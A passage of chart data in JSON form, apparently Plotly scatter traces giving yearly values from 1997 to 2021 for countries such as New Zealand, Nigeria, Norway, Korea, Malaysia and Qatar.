52.76, - 23.3, - 30.3 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.82, - 0.26, - 0.49, - 1.14, - 2.41, - 1.83, - 13.16, - 10.02, - 4.3, - 24.44, - 12.31, - 15.21, - 6.62, - 23.54, - 70.77, - 39.6, - 36.6, - 32.15, - 55.04, - 32.08, - 19.9, - 9.04, - 15.43, - 13.31, - 21.44 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 155.68, - 145.15, - 160.85, - 142.61, - 144.38, - 144.1, - 164.86, - 221.18, - 358.53, - 761.03, - 494.76, - 612.36, - 754.38, - 815.8, - 1074.37, - 998.68, - 891.2, - 913.49, - 855.64, - 814.1, - 996.56, - 1010.65, - 900.38, - 867.78, - 667.27 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.55, - 0, - 12.97, - 27.81, - 36.04, - 53.05, - 38.87, - 41.01, - 23.01, - 19.63, - 48.06, - 26.15, - 38.15, - 57.55, - 161.75, - 125.23, - 86.85, - 78.78, - 80.48, - 81.27, - 140.46, - 95.48, - 74.5, - 91.15, - 71.59 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.75, - 0, - 0, - 0.88, - 1.98, - 4.31, - 4.41, - 5.75, - 5.64, - 5.99, - 7.83, - 13.93, - 7.66, - 7.66, - 7.95, - 9.63, - 10.99, - 10.22, - 12.7, - 18.45, - 8.71, - 9.02, - 8.96, - 12.58, - 6.76 - ] - }, - { - "mode": "lines", - "name": "NIGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1331.01, - 1425.82, - 3222.11, - 448.44, - 650.26, - 527.21, - 641.13, - 693.07, - 946.5, - 7912.05, - 8697.43, - 10429.61, - 8696.57, - 12886.65, - 17459.78, - 14826.15, - 16765.59, - 16364.34, - 12171.07, - 9423.59, - 11756.26, - 13889.92, - 13823.51, - 8807.27, - 10817.27 - ] - }, - { - "mode": "lines", - "name": "NORFOLK IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.16, - 0.76, - 0, - 0.26, - 0, - 0.18, - 0.22, - 0.56, - 0.91, - 1.21, - 0.92, - 0.92, - 0.38, - 1.03, - 1.56, - 0.19, - 0.4, - 0.3, - 0.84, - 0.33, - 0.78, - 0.46, - 0.41 - ] - }, - { - "mode": "lines", - "name": "NORWAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 175.03, - 121.87, - 94.33, - 107.24, - 102.27, - 167.78, - 378.71, - 338.89, - 419.55, - 952.88, - 1905.2, - 1514.4, - 1136.26, - 1140.84, - 1185.2, - 1179.59, - 974.22, - 1264.52, - 1127, - 811.68, - 1202.06, - 679.53, - 1052.4, - 996.14, - 2069.61 - ] - }, - { - "mode": "lines", - "name": "OMAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 141.76, - 141.22, - 195.01, - 150.95, - 157.47, - 212.44, - 309.87, - 288.28, - 674.02, - 1089.87, - 2080.88, - 1984.5, - 4532.82, - 5084.31, - 4668.08, - 4609.21, - 5763.45, - 4131.69, - 3865.66, - 4018.79, - 6703.76, - 5005.3, - 5931.14, - 5443.22, - 6507.82 - ] - }, - { - "mode": "lines", - "name": "PAKISTAN IR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 187.6, - 320.55, - 161.16, - 250.86, - 208.76, - 251.01, - 344.59, - 616.03, - 868.79, - 1673.71, - 2238.5, - 1810.05, - 1849.26, - 2372.05, - 1939.21, - 2606.66, - 2701.15, - 2354.49, - 2612.2, - 2276.36, - 2412.83, - 2561.44, - 830.58, - 329.26, - 376.64 - ] - }, - { - "mode": "lines", - "name": "PANAMA REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 87.96, - 42.42, - 31.89, - 75.15, - 69.97, - 67.15, - 62.54, - 146.82, - 310.49, - 471.72, - 321.24, - 258.85, - 444.43, - 312.63, - 392.87, - 336.04, - 253.04, - 332.87, - 273.91, - 422.04, - 270.37, - 266.13, - 314.35, - 184.83, - 488.78 - ] - }, - { - "mode": "lines", - "name": "PAPUA N GNA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.25, - 5.47, - 6.83, - 4.82, - 10.32, - 5.48, - 5.64, - 109.48, - 73.34, - 288.04, - 210.14, - 249.75, - 118.14, - 238.89, - 235.28, - 134.42, - 222.26, - 209.49, - 219.05, - 144.34, - 238.11, - 138.68, - 111.71, - 182.02, - 316.95 - ] - }, - { - "mode": "lines", - "name": "PARAGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.18, - 6.39, - 7.03, - 8.81, - 25.22, - 7.47, - 11.31, - 14.78, - 20.59, - 30.12, - 46.75, - 39.58, - 42.27, - 46.84, - 78.03, - 91.61, - 94.19, - 194.59, - 210.39, - 280.31, - 335.33, - 181.68, - 152.24, - 176.43, - 177.8 - ] - }, - { - "mode": "lines", - "name": "PERU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 35.71, - 32.83, - 82.38, - 35.45, - 63.02, - 74.46, - 67.92, - 105.17, - 107.32, - 253.05, - 446.88, - 578.25, - 410.95, - 604.96, - 1112.56, - 1199.25, - 1144.75, - 1410.25, - 1523.35, - 1773.12, - 3137.54, - 3126.42, - 2339.09, - 2285.57, - 2788.13 - ] - }, - { - "mode": "lines", - "name": "PHILIPPINES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 261.78, - 155.99, - 199.78, - 265.65, - 342.63, - 595.77, - 443.64, - 599.62, - 730.16, - 747.77, - 824.87, - 998.54, - 1061.84, - 1310.49, - 1434.29, - 1691.18, - 1810.59, - 1818.62, - 1895.5, - 1977.13, - 2457.2, - 2324.74, - 2049.87, - 2029.77, - 2132.04 - ] - }, - { - "mode": "lines", - "name": "POLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 120.13, - 126.87, - 130.15, - 128.86, - 139.7, - 144.49, - 183.26, - 266.66, - 334.77, - 423.8, - 636.92, - 784.56, - 808.42, - 1052.25, - 1411.24, - 1674.1, - 1618.07, - 1686.39, - 1594.96, - 1888.78, - 2308.35, - 2366.19, - 2397.68, - 2359.03, - 2750.14 - ] - }, - { - "mode": "lines", - "name": "MONGOLIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.19, - 1.89, - 2.55, - 1.5, - 0.68, - 1.23, - 1.55, - 1.55, - 2.79, - 4.58, - 16.94, - 33.95, - 9.24, - 22.74, - 50.14, - 33.85, - 24.27, - 12.22, - 12.57, - 11.77, - 22.21, - 23.82, - 17.56, - 19.4, - 20.19 - ] - }, - { - "mode": "lines", - "name": "MEXICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 190.57, - 222.23, - 237.38, - 262.34, - 299.68, - 327.07, - 338.32, - 451.2, - 540.68, - 1331.27, - 1781.48, - 2384.61, - 1645.16, - 2076.22, - 3947.1, - 5665.86, - 5899.87, - 6254.7, - 5148.32, - 6405.5, - 7713.05, - 9418.59, - 7920.51, - 5932.58, - 6550.78 - ] - }, - { - "mode": "lines", - "name": "KAZAKHSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 51.16, - 50.43, - 40.65, - 64.12, - 53.09, - 59.6, - 84.07, - 96.81, - 117.16, - 171.48, - 188.77, - 290.7, - 291.44, - 310.59, - 436.25, - 426.22, - 917.84, - 952.35, - 504.84, - 642.16, - 1032.81, - 851.91, - 2458.29, - 1030.92, - 429.01 - ] - }, - { - "mode": "lines", - "name": "LIECHTENSTEIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.05, - 0.07, - 0.04, - 0.36, - 0.62, - 0.49, - 0.99, - 1.13, - 1.08, - 3.85, - 4.99, - 0.1, - 0.39, - 0.78, - 1.13, - 0.78, - 1.36, - 2, - 1.59, - 4.39, - 6.99, - 4.77, - 4.09, - 2.12 - ] - }, - { - "mode": "lines", - "name": "KIRIBATI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.22, - 0, - 0, - 3.43, - 0.18, - 2.09, - 0, - 0.58, - 0, - 0.44, - 0.94, - 1.02, - 0, - 0, - 0, - 0.59, - 0, - 0, - 1.5 - ] - }, - { - "mode": "lines", - "name": "KOREA DP RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 95.01, - 109.15, - 83.77, - 189.92, - 163.26, - 187.83, - 159.83, - 133.24, - 111.11, - 594.8, - 1012.37, - 993.9, - 431.09, - 473.11, - 409.95, - 462.16, - 199.29, - 208.45, - 198.78, - 133.43, - 82.63, - 30, - 12.44, - 4.21, - 5.51 - ] - }, - { - "mode": "lines", - "name": "KOREA RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1417.96, - 1702.32, - 1580.98, - 1344.54, - 1612.74, - 2166.87, - 3594.03, - 4550.45, - 6391.06, - 7321.55, - 8905.64, - 12629.07, - 11997.12, - 14202.58, - 17164.34, - 17307.37, - 16679.28, - 18132.06, - 16570.56, - 16826.78, - 20822.75, - 21464.04, - 20504.85, - 17457.59, - 18465.32 - ] - }, - { - "mode": "lines", - "name": "KUWAIT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1068.16, - 1665.76, - 1464.99, - 311.77, - 279.94, - 430.07, - 461.57, - 727.38, - 975.59, - 6608.04, - 8385.79, - 10391.24, - 9031.95, - 12169.65, - 17621.05, - 17649.21, - 18214.69, - 14580.85, - 6217.21, - 5960.27, - 8531.34, - 8764.74, - 10860.36, - 6268.34, - 8725.93 - ] - }, - { - "mode": "lines", - "name": "KYRGHYZSTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10.79, - 8.81, - 15.61, - 22.02, - 11.52, - 15.13, - 38.74, - 50.19, - 29.57, - 37.84, - 32.43, - 23.95, - 27.48, - 26.98, - 31.44, - 37.07, - 35.18, - 38.53, - 26.9, - 31.93, - 59.53, - 32.6, - 30.46, - 43.87, - 22.47 - ] - }, - { - "mode": "lines", - "name": "LAO PD RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.32, - 0, - 0, - 0, - 3.2, - 1.73, - 0.56, - 2.7, - 5.58, - 2.74, - 3.97, - 9.52, - 36.98, - 13.33, - 104.24, - 167.56, - 89.29, - 152.58, - 217.96, - 233.1, - 193.64, - 40.41, - 28.18, - 29.03, - 12.11 - ] - }, - { - "mode": "lines", - "name": "LATVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 19.53, - 21.7, - 13.83, - 18.11, - 7.1, - 11.68, - 16.76, - 18.52, - 38.52, - 71.66, - 100.45, - 158.8, - 202.11, - 299.51, - 239.37, - 177.71, - 205.97, - 134.34, - 141.07, - 155.25, - 164.85, - 273.97, - 384.79, - 152.36, - 132.59 - ] - }, - { - "mode": "lines", - "name": "LEBANON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 27.23, - 27.77, - 45.52, - 54.64, - 51.08, - 63.93, - 66.73, - 87.93, - 90.35, - 78.3, - 106.18, - 145.95, - 138.11, - 194.4, - 253.31, - 280.55, - 330.77, - 319.39, - 267.16, - 240.86, - 295.57, - 312.6, - 234.91, - 218.33, - 245.39 - ] - }, - { - "mode": "lines", - "name": "LESOTHO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.09, - 0, - 3.78, - 5.58, - 0, - 0, - 0, - 0, - 34.77, - 15.04, - 19.77, - 24.24, - 22.61, - 33.52, - 39.6, - 35, - 58.09, - 121.16, - 30.46, - 40.83, - 40.06, - 0 - ] - }, - { - "mode": "lines", - "name": "LIBERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 12.99, - 0, - 24, - 17.87, - 60.57, - 6.67, - 20.16, - 63.32, - 147.8, - 70.58, - 262.73, - 174.55, - 48.63, - 61.71, - 87.87, - 148.04, - 280.54, - 264.21, - 166.08, - 153.96, - 294.22, - 320.02, - 227.27, - 232.6, - 204.99 - ] - }, - { - "mode": "lines", - "name": "LIBYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.99, - 26.97, - 42.52, - 15.86, - 18.88, - 20.58, - 29.12, - 187.14, - 115.23, - 221.92, - 1366.65, - 813.29, - 844.62, - 1101.08, - 99.31, - 2050.09, - 738.73, - 233.87, - 131.44, - 127.5, - 222.6, - 302.92, - 227.49, - 224.43, - 464.65 - ] - }, - { - "mode": "lines", - "name": "ALBANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.59, - 0.97, - 0, - 1.87, - 2.33, - 4.28, - 4.96, - 5.26, - 5.81, - 4.52, - 7.46, - 12.32, - 8.78, - 11.62, - 153.78, - 48.52, - 217.53, - 70.18, - 41.24, - 32.95, - 68.21, - 59.7, - 91.62, - 55.06, - 71.08 - ] - }, - { - "mode": "lines", - "name": "MAURITIUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 186.67, - 163.13, - 174.69, - 205.92, - 166.17, - 180.5, - 210.56, - 265.38, - 206.77, - 752.85, - 1098.87, - 1021.43, - 464.31, - 870.42, - 1439.03, - 1339.24, - 1020.97, - 1930.74, - 876.09, - 899.75, - 1097.84, - 1232.37, - 690.02, - 465.51, - 659.36 - ] - }, - { - "mode": "lines", - "name": "LUXEMBOURG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.93, - 5.01, - 7.9, - 10.8, - 11.19, - 28.47, - 58.59, - 21.33, - 26.77, - 48.32, - 47.14, - 36.39, - 38.63, - 55.39, - 65.11, - 56.29, - 57.9, - 51.41, - 183.79, - 57.56, - 64.63, - 161.98, - 74.7, - 43.09, - 53.98 - ] - }, - { - "mode": "lines", - "name": "MACAO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.11, - 0.9, - 1.1, - 3.09, - 16.3, - 6.5, - 2.09, - 2.62, - 1.82, - 4.88, - 5.74, - 40.94, - 1.64, - 2.29, - 2.46, - 4.27, - 4.73, - 10.26, - 9.42, - 22.19, - 7.35, - 11.37, - 33.48, - 29.13 - ] - }, - { - "mode": "lines", - "name": "MACEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.52, - 0.77, - 1.41, - 1.25, - 2.25, - 1.88, - 1.71, - 2.68, - 7.77, - 5.94, - 8.55, - 11.25, - 33.65, - 9.36, - 23.63, - 32.06, - 30.7, - 23.56, - 19.95, - 39.02, - 63.99, - 43.63, - 37.12, - 29.01, - 22.01 - ] - }, - { - "mode": "lines", - "name": "MADAGASCAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.05, - 12.92, - 12.55, - 11.17, - 15.37, - 18.58, - 44.19, - 44.09, - 59.01, - 65.14, - 73.88, - 268.22, - 104.74, - 111.41, - 206.38, - 227.3, - 291.56, - 262.48, - 338.78, - 333.51, - 395.78, - 489.49, - 420.97, - 404.36, - 309.69 - ] - }, - { - "mode": "lines", - "name": "MALAWI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 11.38, - 10.68, - 20.8, - 18.93, - 22.17, - 32.52, - 43.18, - 63.34, - 45.43, - 47.63, - 79.99, - 96.47, - 185.12, - 121.34, - 171.09, - 196.4, - 236.2, - 250.8, - 240.44, - 219.76, - 216.05, - 224.35, - 216.85, - 158.03, - 209.1 - ] - }, - { - "mode": "lines", - "name": "MALAYSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1668.84, - 1930.05, - 2396.5, - 1784.95, - 1907.23, - 2214.79, - 2939.31, - 3383.07, - 3577.47, - 6595.53, - 8588.16, - 10604.75, - 8012.19, - 10394.75, - 13454, - 14395.13, - 13427.8, - 16934.29, - 12790.66, - 14158.45, - 14713.14, - 17254.9, - 16146.94, - 14430.73, - 14305.2 - ] - }, - { - "mode": "lines", - "name": "MALDIVES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.97, - 8.43, - 7.7, - 24.8, - 27.27, - 31.92, - 42.71, - 48.23, - 69.56, - 71.74, - 93.86, - 131.88, - 83.49, - 131.52, - 143.49, - 128.65, - 110.05, - 156.7, - 183.36, - 206.97, - 222.68, - 243.42, - 232.57, - 220.36, - 572.08 - ] - }, - { - "mode": "lines", - "name": "MALI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.02, - 18.63, - 23.31, - 30, - 34.8, - 42.43, - 75.05, - 34.77, - 30.47, - 66.54, - 36.06, - 48.17, - 46.1, - 68.77, - 104.47, - 108.21, - 179.7, - 212.72, - 350.72, - 206.94, - 237.74, - 148.99, - 184.21, - 200.94, - 174.17 - ] - }, - { - "mode": "lines", - "name": "MALTA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 46.55, - 6.09, - 28.26, - 10.57, - 12.04, - 32.5, - 118.88, - 68.36, - 137.13, - 260.38, - 42.52, - 105.22, - 720.96, - 782.64, - 891.33, - 440.81, - 202.36, - 356.01, - 351.46, - 159.6, - 211.81, - 273.28, - 330.1, - 340.75, - 425.49 - ] - }, - { - "mode": "lines", - "name": "MARTINIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.9, - 2.12, - 3.8, - 1.82, - 0.99, - 0, - 0.59, - 0.53, - 0.88, - 2.11, - 1.99, - 44.73, - 0, - 4.88, - 0, - 5.92, - 7.8, - 6.24, - 0, - 0, - 0, - 4.38, - 4.1, - 5.07, - 4.95 - ] - }, - { - "mode": "lines", - "name": "MAURITANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.65, - 0, - 9.2, - 13.68, - 19.88, - 20.54, - 18.07, - 25.99, - 46.17, - 22.35, - 29.93, - 40.34, - 32.24, - 35.46, - 50.95, - 53.09, - 65.37, - 102.3, - 76.9, - 76.93, - 88.61, - 131.36, - 94.53, - 94.41, - 77.13 - ] - }, - { - "mode": "lines", - "name": "PORTUGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 127.04, - 115.62, - 133.31, - 158.68, - 161.84, - 177.07, - 183.76, - 242.11, - 291.13, - 397.52, - 531.61, - 497.36, - 445.63, - 612.21, - 828.89, - 906.67, - 966.98, - 781.48, - 692.19, - 810.82, - 937.47, - 876.09, - 886.6, - 951.1, - 1033.54 - ] - }, - { - "mode": "lines", - "name": "PUERTO RICO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.83, - 3.09, - 5.49, - 7.33, - 9.2, - 26.82, - 19.64, - 26.57, - 35.36, - 44.11, - 76.1, - 101.08, - 93.88, - 137.76, - 129.49, - 111.45, - 125.1, - 165.17, - 155.86, - 152.93, - 177.47, - 186.89, - 185.32, - 235.37 - ] - }, - { - "mode": "lines", - "name": "QATAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 145.65, - 110.3, - 245.33, - 142.67, - 140.7, - 209.17, - 315.49, - 882.27, - 1160.96, 